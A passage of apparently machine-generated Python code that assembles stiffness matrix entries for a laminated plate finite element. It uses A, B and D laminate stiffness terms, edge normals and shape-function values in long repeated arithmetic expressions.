f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i2*dof+4, i4*dof+0] += Ac*((B12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i2*dof+4, i4*dof+1] += Ac*((B22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i2*dof+4, i4*dof+3] += Ac*((D12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i2*dof+4, i4*dof+4] += Ac*((D22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i3*dof+0, i1*dof+0] += Ac*((A11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i3*dof+0, i1*dof+1] += Ac*((A12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i3*dof+0, i1*dof+3] += Ac*((B11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i3*dof+0, i1*dof+4] += Ac*((B12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i3*dof+0, i2*dof+0] += Ac*((A11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i3*dof+0, i2*dof+1] += Ac*((A12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i3*dof+0, i2*dof+3] += Ac*((B11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i3*dof+0, i2*dof+4] += Ac*((B12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i3*dof+0, i3*dof+0] += Ac*((A11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i3*dof+0, i3*dof+1] += Ac*((A12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i3*dof+0, i3*dof+3] += Ac*((B11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i3*dof+0, i3*dof+4] += Ac*((B12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i3*dof+0, i4*dof+0] += Ac*((A11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i3*dof+0, i4*dof+1] += Ac*((A12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + A66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i3*dof+0, i4*dof+3] += Ac*((B11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i3*dof+0, i4*dof+4] += Ac*((B12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i3*dof+1, i1*dof+0] += Ac*((A12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i3*dof+1, i1*dof+1] += Ac*((A22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i3*dof+1, i1*dof+3] += Ac*((B12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i3*dof+1, i1*dof+4] += Ac*((B22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i3*dof+1, i2*dof+0] += Ac*((A12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i3*dof+1, i2*dof+1] += Ac*((A22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i3*dof+1, i2*dof+3] += Ac*((B12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i3*dof+1, i2*dof+4] += Ac*((B22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i3*dof+1, i3*dof+0] += Ac*((A12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i3*dof+1, i3*dof+1] += Ac*((A22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i3*dof+1, i3*dof+3] += Ac*((B12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i3*dof+1, i3*dof+4] += Ac*((B22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i3*dof+1, i4*dof+0] += Ac*((A12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i3*dof+1, i4*dof+1] += Ac*((A22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (A26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + A66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i3*dof+1, i4*dof+3] += Ac*((B12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i3*dof+1, i4*dof+4] += Ac*((B22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i3*dof+3, i1*dof+0] += Ac*((B11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i3*dof+3, i1*dof+1] += Ac*((B12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i3*dof+3, i1*dof+3] += Ac*((D11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i3*dof+3, i1*dof+4] += Ac*((D12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i3*dof+3, i2*dof+0] += Ac*((B11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i3*dof+3, i2*dof+1] += Ac*((B12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i3*dof+3, i2*dof+3] += Ac*((D11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i3*dof+3, i2*dof+4] += Ac*((D12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i3*dof+3, i3*dof+0] += Ac*((B11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + 